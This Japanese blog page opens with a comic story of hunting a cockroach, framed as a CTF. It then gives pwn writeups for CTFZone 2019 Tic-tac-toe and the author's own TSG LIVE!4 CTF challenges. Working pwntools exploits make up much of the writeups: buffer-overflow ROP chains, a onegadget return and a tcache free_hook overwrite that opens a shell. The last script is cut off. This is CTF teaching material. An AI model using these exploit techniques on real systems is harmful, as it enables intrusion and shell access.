おいキヅキ、と僕は思った。お前と違って俺は生きると決めたし、それも俺なりにきちんと生きると決めたんだ。お前だってきっと辛かっただろうけど、俺だって辛いんだ。大人になるんだよ。そうしなくてはならないからだ。俺はこれまでできることなら十七や十八のままでいたいと思っていた。でも今はそうは思わない。俺はもう十代の少年じゃないんだよ。俺は責任というものを感じるんだ。俺はもう二十歳になったんだよ。そして俺は生き続けるための代償をきちっと払わなきゃならないんだよ。

- 村上春樹 ノルウェーの森

 

 

 

 

 

 

 

 1: 二度目の邂逅 - 世界の終わりとハードボイルドワンダーランド

 

「五手稼げるよ」と大佐は言った。「やってみる価値はあるんじゃないかね。五手あれば相手のミスを期待できる。勝負というのはけりがついてみるまではわからんものだよ」

- 村上春樹 世界の終わりとハードボイルドワンダーランド 

 

12月

世間では師も走る月と言うらしいが、俺は炬燵でモンスターを飲んでいた

 

刹那、感じる殺気

 

見ずともわかる

遂に奴が現れたのだ

 

 

換気扇の下へ行く

確かにそこにいる

あらゆる波長の電磁波を吸収し

空間に漆黒なる無を生成する悪魔

 

 

 

俺はなぜ忘れていたんだ

 

人類は再び思い出した

奴らに支配されているという恐怖を

 

 

 

smallkirby.hatenablog.com

 

 

 

 

 

2: 湧き上がる怒り

 諸君は知っておるのだよ。ただ自分がそれを知っておるということを知らないだけだ

- 村上春樹  騎士団長殺し 遷ろうメタファー編

 

先の闘いで手持ちの装備は枯渇している

使えるのはゴキブリがうごかなくなるスプレー(300mL)2本だけ

 

どうしてなんだ

G避けのハッカも25個配置してあるし

G用の毒薬も7箇所に配置してある

ゴキブリ避けのスプレーも3ヶ月に一度噴霧しているというのに

 

だが躊躇している暇はない

 やつは今でもわずかな足場の上を陽気に蠢いている

まるで無力な俺を侮辱するかのように

 

 

何故だか俺は無性に腹が立ってきた

全てを許せないような、目の前の奴が諸悪の根源であるかのような

今すぐに、他の誰でもなく、この俺がここで仕留めなければならないような気がしてきたのだ

 

そうか、お前がその気なら

俺だっていつまでも黙っていてやると思うなよ

 

 

 

黒色のフーディを脱ぎ戦闘に備える

地肌に飛んできたら一溜まりもないから思い返してやっぱり着る

 

 

もう躊躇なんかしてはやらない

経験から学んだんだ

仕留めるならば一発でだ

 

諸々の情念の衝動に対抗するには、繊細さではなく激烈さで、微傷を与えるのではなく突撃による正面突破で戦わねばならない。なぜなら、罵っているだけでは済まされず、根絶しなければならないからである。

- セネカ 生の短さについて 

 

こんな時に俺の頭にいつも浮かんでくるのはこの言葉だ

丁寧に、慎重に

そんなもんは本当の戦場では糞の役にも立たない

勝負は一瞬で決するんだ

繊細さではなく激烈さで以って臨まねばならない

 

 

 

 

 

3: 三重のイデアの混乱

なにゆえに、自分の力の衰えを感じている老いぼれた人にとって、緩慢な枯渇と解体を待ちうけるほうが、完全な意識をもってそれらを打ち切りにするよりもほめられるべきだというのであるか?

- ニーチェ 人間的、あまりに人間的

 

 

 やってやるさ

覚悟を決め、奴と対峙する

 

考えてはいけない

やつがGであることを知覚してはならない

ショーペンハウアーのこの言葉を思い出す

 

一般に眼前にある直観的なものから受ける印象を抑制するがよいという原則である。強烈なのは印象の素材・内容によるのではない。素材・内容はきわめて貧弱なことが多い。それよりは印象のあり方すなわち直観性・直接性によるのである。

- ショーペンハウアー 幸福について

 

 

 

奴は依然として高みから俺を見下している

ナメるなよ

人間の力をみせてやるよ

 

簡単な話だった

上腕筋を弛緩させ腕を標的に向けた後

人差し指に力を入れればあとは勝手に引鉄が引かれるだけだ

 

小石を弾くような軽い音と共に

白い煙霧が空間を満たす

 

その間僅か2.41秒

 

 

不敵な笑みを浮かべる

笑いが込み上げてくる

こいつは"2秒でうごかなくなる"スプレーだぜ

勝負ありだ

 

 

 

 

 

だが刹那

俺の目はどうかしてしまったんだろうか

それとも脳が正常にこの世の仕組みを上手いこと理解というシステムに当てはめることができなくなってしまったんだろうか

何が起こったのか全く理解できず、ただ呆然とその場に立ち尽くす

 

床に落ちた奴は

暫し蠢いたあと再び動き出し

覚束ない足取りでトイレへと入っていったのだ

 

 

 

"2秒でうごかなくなる"んじゃなかったのか

最高裁まで持って行ってやるからな

 

 

 

 

 

 

4: 予期しない終幕

人間の不幸は、ただ一つのこと、一つの部屋に落ち着いてじっとしていられないことからやってくる。

- パスカル パンセ

 

最早此処に留まっているわけにはいかない

既に賽は投げられてしまったのだ

こうなっては俺にできるのは唯運命に身を任せることだけ

 

あぁそうか

ここで終わらせてはくれないんだな

お前が望むなら、俺は思うがままに進んでやろう

 

 

トイレのドアを開ける

奴が飛びかかってきても、思わぬ場所にいたとしても

もうどうだっていいさ

そんなことは俺が決めたことでも何でもない

イかれたこの世がそうあることを望むなら

もうどうにだってなればいいじゃないか

 

 

 

だが全ての予想は一瞬で無に帰す

 

奴は力尽きていた

全ての悲しみと人類のエゴをその双肩に背負うように

トイレマットの上で天を仰いでいた

 

現実の物語は

エピローグも何も無く

春の日のスコールのように忽然と終わってしまうのだ

 

 

 

 

 

5: TSG: Torturer's Six-shooter for Gokiburi

だけどね、人並み外れた強さを持ったやつなんて誰もいないんだ。みんな同じさ。何かを持ってるやつはいつか失くすんじゃないかとビクついているし、何も持っていないやつは永遠に何も持てないんじゃないかと心配してる。みんな同じさ。だから早くそれに気づいた人間がほんの少しでも強くなろうって努力するべきなんだ。振りをするだけでもいい。そうだろ?強い人間なんてどこにも居やしない。強い振りのできる人間が居るだけさ。

- 村上春樹 風の歌を聴け

 

まだ仕事は残っている

奴の亡骸を葬らねばならない

 

だが奴を触ることなんてできやしない

見ることさえも厭われる

 

俺は驚愕する

今日この日のために勉強してきたことの全てが

非斉次常微分方程式の解き方も、逆フーリエ変換量子力学

LKMの作り方やLinuxKernelの読み方もGhidraの使い方も

free_hook overwriteもcommit_creds()による権限昇格もrootシェルの取り方も

ゴキブリの亡骸をゴミ袋に入れることには

なんの役にもたちやしないじゃねぇか

 

何のためにpwnをやってきたのか

途方も無い無力感に四肢を絡みとられる

 

 

 

 

刹那ふと思い出す

そうだ、あの団体に聞けばいいのだ

 

俺は TSG: Torturer's Six-shooter for Gokiburi (和名: ゴキブリに向けた拷問官の六連装填銃) に入っていたんだ

急いで本部に連絡を取る

 

 

 そこにはゴキブリ始末の専門家が常駐している

得られた成果は俺の足りない頭では想像も出来ない程のものであった

 

この問題の解法はこうだ

 

    1: 亡骸に紙コップを被せる
    2: 紙を下から滑り込ませて蓋を作る
    3: 紙ごとコップを浮かせてゴミ箱に入れる

 

美しいほどに完璧な答えである

 すっかり安心しきった俺の口角は陽気に3時の方向を向いていた

 

だが次の瞬間、専門家の口から信じられない言葉が飛び出してくる

    printf("あいつ、死んだ振りするから\n");
    exit(EXIT_FAILURE);

 

 

奴の知性は既に俺の理解の範疇を超えたところにあるのだ

猶予はない

早々にけりをつけなければならない

 

 

 

 

 

6: 背に腹は変えられぬ

 『そうあった』は、すべて断片であり、謎であり、残酷な偶然である、 創造する意思がそれに向かって、『しかし、わたしが、そうあることを意思した!』と、言うまでは。

- ニーチェ ツァラトゥストラはこう言った

 

必要なものはコップと紙

時間はない

 

早急に兵站所へ行き紙コップを買ってくる

 

だが問題は紙だ

それなりの強度を持った紙でないと奴の下に潜り込ませることはできない

 

だが十分な時間がない

適切な紙を見つけるために残されている時間はないのだ

 

周りを見渡す

頼む、何かいい感じの硬さの紙はないのか!!

 

 

 

 

運命とは不思議なものである

この時を待ち構えていたかのように、

「それ」は、

確かにそこにあった

 

 

f:id:smallkirby:20191205200910j:plain

いい感じの硬さの紙

 

 

 

 

 

 

7: flag

 斯くして事態は収束した

 

得られたflagは以下の通り

flag{If the world accepts you, I never THROUGH ALL ETERNITY!!}

 

 



Special Thanks

TSG, SecurityCamp

 

 

 






続く






【pwn 15.0】 Tic-tac-toe - CTFZone CTF 2019

 

 

 

 

 

f:id:smallkirby:20191202065933p:plain

scoreboard

 

 

 

 1: イントロ

いつぞや行われたロシアの野良CTF CTFZone CTF 2019

野良かと思ってたらDEFCON Qualsになっていた

 

今回はそのpwn問題 Tic-tac-toe

このwriteupを書く

慣れない形式でだいぶ渋かった




2: 表層解析

名前の示すとおりマルバツゲームを行う

 

配布ファイルは以下の2つ

tictactoe

Cで書かれたフロントサイドのサーバプログラム

後述するserver.py及びユーザと対話する

ポート8889を使う

./tictactoe: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, BuildID[sha1]=292bbd6ea3adfb92195a360d1af03ce2757879ba, for GNU/Linux 3.2.0, with debug_info, not stripped
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x400000)
    RWX:      Has RWX segments

debug-info付きのpwnバイナリ初めて見た

 

server.py

バックサイドで動くサーバプログラム

フロントサイドのサーバと対話する

ポート9998を使う




3: プログラムの概要

概要

単純な3x3のまるばつゲームを行うプログラム

f:id:smallkirby:20191201182515p:plain

play screen

コンピュータが常に先手であり
100勝せよと言われる

大前提としてまるばつゲームは先手必勝のゲームであり

先手が常に最善手を打てばプレイヤ側は引き分け以下が確定している

このプログラムに於いてはコンピュータは常に最善手を打つため

プログラムの脆弱性を突かないと100%勝てない

 

 

サーバの役割

 以下ではCで書かれたフロントサイドのサーバをFサーバpythonで書かれたバックサイドのサーバをBサーバと呼ぶ

 

Fサーバは char board[9] によって盤面を保持する

コンピュータ、ユーザの手を計算・入力したあとboardに代入する

 

実際に勝ち負け等の判定をするのはBサーバの方である

BサーバはFサーバとは独立して

盤面を始めとして、ユーザを識別するsessionIDや、連勝数を示すlevel等の内部状態を保持している

 

Fサーバは1ターン終わるごとにsend_state()によって

コンピュータとユーザの手及びsessionIDを送信する

Bサーバはそれを元にして勝敗の判定等を行い

まだゲームを続けるべきか、勝利処理をするべきか、勝ったからフラグを取りに来いと言うか等の指示を返す

なおsessionIDごとに内部情報は別々に保持されている

 

それからFサーバは簡単に落ちるが

Fサーバが落ちてもBサーバは動き続け、内部情報を保持し続ける

 

 

 

4: 使わなかった脆弱性 = 1勝はできる

 Fサーバでユーザの入力処理を行うのは以下の部分

        do {
            if ((('0' < move[0]) && (move[0] < ':')) && (sVar2 = strlen(move), sVar2 < 0x3)) {
                while( true ) {
                    if (board[(long)move[0] + -0x31] == '\0') {
                        return (int)move[0] + -0x31;
                    }
                    sVar2 = strlen(try_again_msg);
                    iVar1 = send_all(psock,try_again_msg,(int)sVar2);
                    if (iVar1 < 0x0) break;
                    iVar1 = recv_all(psock,move,0x2);
                    if (iVar1 < 0x0) {
                        puts("[-] Error geting player\'s move in get_human_move()");
                    /* WARNING: Subroutine does not return */
                        _exit(0x7);
                    }
                }
                puts("[-] Error seniding try-again message to user in get_human_move()");
                    /* WARNING: Subroutine does not return */
                _exit(0x7);
            }

 

最初のifでは入力が'1'~'9'に収まっているか&&入力文字数が2以下か&&そのマスが空いているかの3点をチェックしているが

この第3条件のみを満たさない場合、内部のwhileループに入る

そこでは第3条件のチェックが抜かされており、'1'~'9'以外の値を入力することが可能になっている

これを利用して例えば'.'(=='1'-0x3)を入力すると、board[-3]に打つことができる

 

コレのうまいところは、F/Bサーバで内部状態が別々に保持されているということ+Bサーバがpythonで書かれているということが利用できるとこである

send_state()に於いてユーザの入力が-3として送られた場合、Bサーバでは以下の処理がなされる

if (self.sessions[session]['field'][cmove] != 0) or (hmove != -1 and self.sessions[session]['field'][hmove] != 0):
            self.sessions[session]['field'] = [0, 0, 0, 0, 0, 0, 0, 0, 0]
            return (ERROR_MOVE,)
        self.sessions[session]['field'][cmove] = Xs
        if hmove != -1:
            self.sessions[session]['field'][hmove] = Os
        win = self.check_win(self.sessions[session]['field'])

 

ここでhmoveが -3 だとすると

pythonではvalidな入力となりboard[-3]==board[6]に入力されたことになる

(打つマスにコマがあるかの判定はFサーバの入力フェーズにのみあるため、上書きができる!)

 

これを利用すると

本来勝つことができない後手が以下のように勝利することができる

 

f:id:smallkirby:20191201185041p:plain

勝利

 

だがこの方法では

Fサーバに於いてboard[-3]に値を入れることになる

board[0~8]はゲームの度に0クリアされるが

範囲外の[-3]はクリアされないため2回目以降打つことができないため禁じ手となる

 

よって

却下!

 

 

 

5: 自明なBoFからROPでsessionIDを保ったまま連勝する

nameバッファのBoF

最初の名前入力で自明なBoFがある

(大変不甲斐ない話だが、上のやり方に固執してしまい、人に言われるまでその関数を無視していた。。。)

 

char tmp_name [0x10];
(...snipped...)
            iVar1 = recv_all(psock,tmp_name,0x800);
        if (iVar1 < 0x0) {
            close(psock);
            puts("[-] Error receiving name in process_game()");
            iVar1 = -0x1;
        }

 

0x7f0もオーバーフローできる

カス

 

これを用いてROPを組んでいく

(幸いPIE無効)

 

sessionIDをリークしたまま連勝する

こっからはごく普通のROPになる

但し騙すべきはFサーバではなくBサーバである

よってFサーバの処理はすっとばしてsend_state()のみを呼べばいい

 

その際連勝記録を保持するためにもsessionIDを引数に渡す必要がある

ここでtmp_name[0x800]自体はスタックにあり参照することが難しいため

tmp_nameがコピーされるnameを既知のアドレスとして使いつつROPする

 

なお pop rcx/ pop rdx に該当するガジェットが見つからなかったが

今回は幸いにもNX disabledなため

足りないガジェットは自分で作ればいい

(これものちにアクセスできる.bss領域のnameバッファに入れる)

 




100連勝するスクリプト

ということで以下のスクリプト: win_100times.pyで100勝できる

#!/usr/bin/env python
#encoding: utf-8;

#####################
# win_100times.py   #
#####################

from pwn import *
import sys

FILENAME = "./tictactoe"

rhp1 = {"host":"pwn-tictactoe.ctfz.one","port":8889}
rhp2 = {'host':"localhost",'port':8889}
context(os='linux',arch='amd64')
binf = ELF(FILENAME)

show_flag = 0x40195f
case1 = 0x0401d94
case6 = 0x0401e82
init_array = 0x405000
pop_rdi = 0x0040310b
pop_rsi_r15 = 0x00403109
pop_r14_r15 = 0x00403108
name = 0x405770
reg_user = 0x4016b4
send3 = 0x401e31
send_message = 0x401768
server_ip = 0x405728
session = 0x405740
send_state = 0x402a74
jmp_rax = 0x0040120c

def exploit(conn):
  print("[+]session: "+dummy_session)
  conn.recvuntil("name: ")

  inj = dummy_session
  inj += "\x59\xc3" #pop rcx; ret
  inj += "\x5a\xc3" #pop rdx; ret
  inj += "\x58\xc3" #pop rax; ret
  inj += "A"*(0x30-len(inj))
  inj += "10.0.15.252\0"
  inj += "A"*(0x50-len(inj))
  inj += "A"*8 #rbp
  
  for i in range(1):
    inj += p64(pop_rdi) #server_ip用意
    inj += p64(name+0x30)
    inj += p64(pop_rsi_r15) #sessionID用意
    inj += p64(name)
    inj += p64(0)           
    inj += p64(name+0x20)  #hmove用意
    inj += p64(2)
    inj += p64(name+0x20+2) #cmove用意
    inj += p64(0)
    inj += p64(send_state)
    
    inj += p64(pop_rdi) #server_ip用意
    inj += p64(name+0x30)
    inj += p64(pop_rsi_r15) #sessionID用意
    inj += p64(name)
    inj += p64(0)           
    inj += p64(name+0x20)  #hmove用意
    inj += p64(5)
    inj += p64(name+0x20+2) #cmove用意
    inj += p64(1)
    inj += p64(send_state)
    
    inj += p64(pop_rdi) #server_ip用意
    inj += p64(name+0x30)
    inj += p64(pop_rsi_r15) #sessionID用意
    inj += p64(name)
    inj += p64(0)           
    inj += p64(name+0x20)  #hmove用意
    inj += p64(8)
    inj += p64(name+0x20+2) #cmove用意
    inj += p64(6)
    inj += p64(send_state)

   
  conn.sendline(inj) #発火
    

is_remote = 0

if len(sys.argv)>1:
  if sys.argv[1][0]=="d":
    cmd = """
      set follow-fork-mode parent
    """
    conn = gdb.debug(FILENAME,cmd)
  elif sys.argv[1][0]=="r":
    conn = remote(rhp1["host"],rhp1["port"])
    is_remote = 1
else:
    conn = remote(rhp2['host'],rhp2['port'])


dummy_session = raw_input("dummy_session > ")[:32]
exploit(conn)

print("i:"+str(1))
if is_remote==1:
  for i in range(99):
    conn = remote(rhp1["host"],rhp1["port"])
    exploit(conn)
    print("i:"+str(i+2))

 





6: ご褒美にflagを貰う

ここまで行ったらBサーバに連絡してflagを貰う

(100勝するまでにflagを要求すると、お前チートしとるやろとキレられる)

 

ROPは

send_get_flag()を呼ぶ

これでFサーバからBサーバにflagを要求しflagを貰う

sessionIDは100連勝したやつにする

msgバッファはスタック上にあって参照できないためnameバッファを使う

自作のpop rdxガジェットはまだ使いたいし上書きされては困るため少しバッファをずらす

 

send_all()を呼ぶ

これでFサーバからローカルにメッセージ(flag)を落とす

 

 

 

 

以上をしてくれるスクリプトが以下の request_flag.py

#!/usr/bin/env python
#encoding: utf-8;

########################
# request_flag.py #
######################## from pwn import * import sys FILENAME = "./tictactoe" rhp1 = {"host":"pwn-tictactoe.ctfz.one","port":8889} rhp2 = {'host':"localhost",'port':8889} context(os='linux',arch='amd64') binf = ELF(FILENAME) show_flag = 0x40195f case1 = 0x0401d94 case6 = 0x0401e82 init_array = 0x405000 pop_rdi = 0x0040310b pop_rsi_r15 = 0x00403109 pop_r14_r15 = 0x00403108 name = 0x405770 reg_user = 0x4016b4 send3 = 0x401e31 send_message = 0x401768 server_ip = 0x405728 session = 0x405740 send_state = 0x402a74 jmp_rax = 0x0040120c send_get_flag = 0x0402ce1 psock = 0x405720 send_all = 0x402f87 def exploit(conn): dummy_session = raw_input("dummy_session> ")[:32] conn.recvuntil("name: ") raw_input() inj = "\x5a\xc3" #pop rdx; ret inj += dummy_session inj += "A"*(0x30-len(inj)) inj += "10.0.15.252\0" inj += "A"*(0x50-len(inj)) inj += "A"*8 #rbp inj += p64(pop_rdi) inj += p64(name+0x30) inj += p64(pop_rsi_r15) inj += p64(name+2) inj += p64(0) inj += p64(name) inj += p64(name+2) inj += p64(send_get_flag) inj += p64(pop_rdi) inj += p64(4) inj += p64(pop_rsi_r15) inj += p64(name+2) inj += p64(0) inj += p64(name) inj += p64(0x40) inj += p64(send_all) conn.sendline(inj) #発火 if len(sys.argv)>1: if sys.argv[1][0]=="d": cmd = """ set follow-fork-mode parent """ conn = gdb.debug(FILENAME,cmd) elif sys.argv[1][0]=="r": conn = remote(rhp1["host"],rhp1["port"]) else: conn = remote(rhp2['host'],rhp2['port']) exploit(conn) conn.interactive()

 





7: exploit

1: 普通にncしてsessionIDを発行してメモる

2: win_100.pyで100勝する

3: request_flag.pyでflagをとる

 

ただし、Bサーバも127.0.0.1で動いていると思っていたら

実際は10.0.15.252で動いている

これはmora先輩がserver_ipをリークして見つけてくれました♥

 





8: 結果

 

f:id:smallkirby:20191201192222p:plain

flag

 

 

 

 

9: アウトロ

 TWCTFでflagが取れなかったので今回取れて凄い嬉しかった

 

newbieな自分にとってこういう割とガチでやるCTFで一番しんどいのは

長いこと自分が考えた問題をチームの他のメンバに取られることだと思っている

(強い人だとチーム第一なんだろうけど、newbieなので自分で取るというのに凄い固執しちゃう)

 

ということを言っていたら

先輩が自分のために問題を解かずに待っていてくれたのが凄い感動した

 

 

 

 

 

 

引越し準備も佳境です

 

 

続く






【pwn 13.0】IfYouWanna/ ShyEEICtan/ KillKirby4Free - TSG LIVE!4 CTF

 

 

 

 

 

 

 

 

 1: イントロ

とある大学にTSGという団体があるらしいが

その団体によってある秋の日に行われたTSG LIVE!4の3日目のイベント TSG LIVE!4 CTF

そこのpwn問題の解説をする

 

問題バイナリ等は以下のリポジトリに全て置いてある

github.com




 

 

冷えちまって申し訳ねぇ。。。






2: IfYouWanna - pwn 100点問題

静的解析

./IfYouWanna: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 3.2.0, BuildID[sha1]=3278bdb1a0cf46a375c6eb17453bf726c3dd733d, not stripped
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x400000)
    RWX:      Has RWX segments

 

問題概要

以前までのTSGLIVE CTFでは作問側が張り切りすぎて

時間内に1,2問しか解かれないという現象が発生していた

それだと見てる側も(作問側も)冷えてしまうので

pwn分野には5分位で解ける0点回避問題を入れようと思い、この問題を詰め込んだ

 

まず最初にauth()にてパスワードの入力が求められる

パスワードのもととなるデータはバイナリ中に埋め込んである

 char pw[] = {0x6f,0x1e,0x6a,0x9,0x24,0x41,0x30,0x41,0x2c,0x47,0x20,0xd,0x7d,0x1e,0x6e,0x43,0x35,0x3,0x76,0x1c,0x77,0x5a,0x2f,0x56,0x35,0x6,0x35,0x44,0x3d,0x2};

 

1文字目はpw[0]-2そのまま

n文字目はpw[n-1]とpw[n]のxorから2を引けば出てくる

pwn/revのパスワード系の問題はangrに投げれば一発というものも多々あり

これもangrに投げれば(時間こそかかるものの)解くことができる

だが、正直これくらいならangrに解析させるよりも自分でバイナリを読んでスクリプトを書いたほうが多分早い

 

これによって最後の3文字を除いたパスワードが出てくる

mora+cookie+nan+t4shi+swa11ow=

 

あとはこれらの文字のASCIIコードを足してやると0xACEという値が出てきて、最終的なパスワードは

mora+cookie+nan+t4shi+swa11ow=ACE

 

TSGが誇る凄腕CTFerたちがACEであるという旨のパスワードになっている

 

 

だが先程述べたように

この問題が0点回避用であることと

pwnと銘打っているのに若干のrev要素があるため

正直このauth()はいらなかったかもと反省しております。。。

 

 

それさえ突破すればあとはlibc_baseが与えられており

BoFできるためそれこそ秒で終わる問題でした




それから

僕がややこしいポート番号にしてしまったからか

途中までポート指定の表示が間違っていたのは大変申し訳無い。。。

 




exploit

#!/usr/bin/env python
#encoding: utf-8;

from pwn import *
import sys

FILENAME = "../problem/IfYouWanna"

rhp1 = {'host':"localhost",'port':20002}
rhp2 = {'host':"3.112.113.4",'port':20002}
context(os='linux',arch='amd64')
binf = ELF(FILENAME)

onegadgets = [0x4f2c5,0x4f322,0x10a38c]

def exploit(conn):
  conn.recvuntil("password > ")
  conn.sendline("mora+cookie+nan+t4shi+swa11ow=ACE")
  conn.recvuntil(": ")
  libc_base = int(conn.recvline()[:-1],16)
  print("[+]libc_base: "+hex(libc_base))
  conn.recvuntil("> ")

  inp = "y"
  inp += "A"*(0xa8-len(inp))
  inp += p64(onegadgets[1]+libc_base)
  conn.sendline(inp)


if len(sys.argv)>1:
  if sys.argv[1][0]=="d":
    cmd = """
      set follow-fork-mode parent
    """
    conn = gdb.debug(FILENAME,cmd)
  elif sys.argv[1][0]=="r":
    conn = remote(rhp1["host"],rhp1["port"])
else:
    conn = remote(rhp2['host'],rhp2['port'])
exploit(conn)
conn.interactive()



結果

[+]libc_base: 0x7f52e086d000
[*] Switching to interactive mode
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"�R$cat /home/user/flag
TSGCTF{This_is_too_easy_pwn_but_you_got_100_pts_anyway!}
$  





3: ShyEEICtan - pwn 200点問題

静的解析

./ShyEEICtan: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 3.2.0, BuildID[sha1]=d8d3a96fd55ed07a8c3906317cd3bc8831d65ffa, not stripped
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled



問題概要

ある大学のEEICという学部のSlackにはEEICたんという課題の締め切りお知らせなどをしてくれるbotがあり

それを題材にした問題

 

ヒープ周りを割と好き勝手できます

最初にtcacheを消費してもう一度freeするとmain_arena+96がヒープに現れるので

EEICたんに予定を表示させてその8byteをリークします

EEICたんは今回凄くシャイになってしまい、最初の8byte分しか教えてくれませんがそれで十分です

 

あとはtcacheのfdを書き換えてfree_hook overwriteすれば終わりですが

その状態でonegadegtに飛ぶとstackのalignの都合上MOVAPSで怒られるので

call [rdi]してくれるgadgetをfree_hookに書いて

freeの引数としてonegadget RCEを入れるという一手間が必要になります

(まぁこの部分のbypass方法は十人十色でしょうが。。。)

 

 

exploit

【訂正20191124:別のexploitになっていたのを正しいものに変更】

#!/usr/bin/env python
#encoding: utf-8;

from pwn import *
import sys

FILENAME = "../problem/ShyEEICtan"

rhp1 = {"host":"localhost","port":20000}
rhp2 = {'host':"3.112.113.4",'port':20000}
context(os='linux',arch='amd64')
binf = ELF(FILENAME)

off_arena96_libc = 0x3ebca0
off_free_hook = 0x3ed8e8
off_malloc_hook = 0x3ebc30
onegadgets = [0x4f2c5,0x4f322,0x10a38c]
callrdi_gad = 0x1d45f1

def _add(conn,data):
  conn.recvuntil("> ")
  conn.sendline("1")
  conn.recvuntil(">")
  conn.send(data)

def _remove(conn,ix):
  conn.recvuntil("> ")
  conn.sendline("2")
  conn.recvuntil("> ")
  conn.sendline(str(ix))

def _list(conn):
  conn.recvuntil("> ")
  conn.sendline("3")

def _exit(conn):
  conn.recvuntil("> ")
  conn.sendline("0")

def _edit(conn,ix,data):
  conn.recvuntil("> ")
  conn.sendline("4")
  conn.recvuntil("> ")
  conn.sendline(str(ix))
  conn.recvuntil(">")
  conn.send(data)


def exploit(conn):
  #consume tcache
  for i in range(8):
    _add(conn,"A"*0x10)
  for i in range(1,8):
    _remove(conn,i)
  _remove(conn,0) #generate main_arena+96 on heap
  _list(conn) #leak main_arena+96

  #calc some addrs
  conn.recvuntil("is:\n")
  mainarena96 = unpack(conn.recvuntil(" ...")[:-4])
  print("[+]mainarena96: "+hex(mainarena96))
  libc_base = mainarena96-off_arena96_libc
  print("[+]libc_base: "+hex(libc_base))
  malloc_hook = libc_base + off_malloc_hook
  free_hook = libc_base + off_free_hook
  print("[+]__malloc_hook: "+hex(malloc_hook))
  onegadget0 = libc_base + onegadgets[0]
  print("[+]onegadget0: "+hex(onegadget0))

  #make tcache point to __free_hook and overwrite it with call[rdi]-gadgets,
  #because just calling onegadget is interrupted with MOVAPS!
  #So, just do easy ROP with the argment of free()
  _edit(conn,7,p64(free_hook))
  _add(conn,"C"*0x10)
  _add(conn,p64(libc_base + callrdi_gad)) #gad: call qword [rdi]
  _edit(conn,5,p64(onegadget0))
  conn.recvuntil("> ")
  conn.sendline("2")

  #invoke gadgets and get the shell!
  conn.recvuntil("> ")
  conn.sendline("5")
  sleep(1)
  conn.sendline("ls")
  sleep(1)
  conn.sendline("./flag")



if len(sys.argv)>1:
  if sys.argv[1][0]=="d":
    cmd = """
      set follow-fork-mode parent
    """
    conn = gdb.debug(FILENAME,cmd)
  elif sys.argv[1][0]=="r":
    conn = remote(rhp1["host"],rhp1["port"])
else:
    conn = remote(rhp2['host'],rhp2['port'])
exploit(conn)
conn.interactive()



結果

[+]mainarena96: 0x7f1e81d13ca0
[+]libc_base: 0x7f1e81928000
[+]__malloc_hook: 0x7f1e81d13c30
[+]onegadget0: 0x7f1e819772c5
[*] Switching to interactive mode
$ cat /home/user/flag
TSGCTF{EEIC_is_really_really_really_really_really_WHITE!!!}

EEICはとてもとてもホワイトな学科だとのたまっております

 

 

 

4: KillKirby4Free - pwn 300点問題

静的解析

./kill_kirby: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 3.2.0, BuildID[sha1]=ed10fd6540e039b9111f7bf54e76831e4c0db4a2, not stripped
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)



問題概要

この問題を一番最初に考えました

問題自体はそんなに難しいテクニック自体は使っていないのですが

75分というめちゃめちゃ短い時間も考慮すると300点かなぁということです

想定としてはpwnを得意分野とするプレイヤが他の人と分業してこの問題に集中して全時間の2/3を使えば解けるかなぁと言う感じで設定しました

結果、多分誰にも手つけられてないのかな。。。

 

時間あれば放送中に使うかなぁと思っていたスライドを貼っておくので解説はそちらで

 

www.slideshare.net

 

 

 

 

 

exploit

#!/usr/bin/env python
#encoding: utf-8;

###########################################
# I checked if whether this exploit works
# on Linux 4.15.0-65-generic #74-Ubuntu SMP Tue Sep 17 17:06:04 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
###########################################



from pwn import *
import sys

FILENAME = "../problem/kill_kirby"

rhp1 = {"host":"0.0.0.0","port":30001}
rhp2 = {'host':"3.112.113.4",'port':30001}
context(os='linux',arch='amd64')
binf = ELF(FILENAME)

total_walk = 0
off_libc_arena = 0x3ebc40
off_free_hook = 0x3ed8e8
off_malloc_hook = 0x3ebc30
kirby_is_free = 0x602058

#constraints:
#0:rcx==NULL 1:[rsp+0x40]==NULL 2:[rsp+0x70]==NULL
onegadgets = [0x4f2c5,0x4f322,0x10a38c]
push_gad = 0x000a3f3f

def normal(conn,name,kill=False):
  global total_walk
  total_walk += 1
  conn.recvuntil("> ")
  conn.sendline("1")
  conn.recvuntil("> ")
  
  if total_walk%6==0 or total_walk%0xa==0:
    conn.sendline("2")
    normal(conn,name,kill)
    return
  
  if kill==True:
    conn.sendline("2")
    return
  conn.sendline("1")
  conn.recvuntil("> ")
  conn.send(name)

def big(conn,name,size):
  global total_walk
  while True:
    if (total_walk+1)%0xa!=0:
      normal(conn,"A",True)
    else:
      break
  total_walk+=1

  conn.recvuntil("> ")
  conn.sendline("1")
  conn.recvuntil("> ")
  conn.sendline("1")
  conn.recvuntil("> ")
  conn.sendline(str(size))
  conn.recvuntil("> ")
  conn.send(name)

def small(conn,name):
  global total_walk
  while True:
    if (total_walk+1)%0x6!=0:
      normal(conn,"A",True)
    else:
      break
  total_walk+=1

  conn.recvuntil("> ")
  conn.sendline("1")
  conn.recvuntil("> ")
  conn.sendline("1")
  conn.recvuntil("> ")
  conn.send(name)

def rename(conn,ix,name):
  conn.recvuntil("> ")
  conn.sendline("4")
  conn.recvuntil("> ")
  conn.sendline(str(ix))
  conn.recvuntil("> ")
  conn.send(name)

def showlist(conn):
  conn.recvuntil("> ")
  conn.sendline("2")

def delete(conn,ix):
  conn.recvuntil("> ")
  conn.sendline("3")
  conn.recvuntil("> ")
  conn.sendline(str(ix))


def exploit(conn):
  global total_walk
  global kirby_is_free

  #leak heap addr
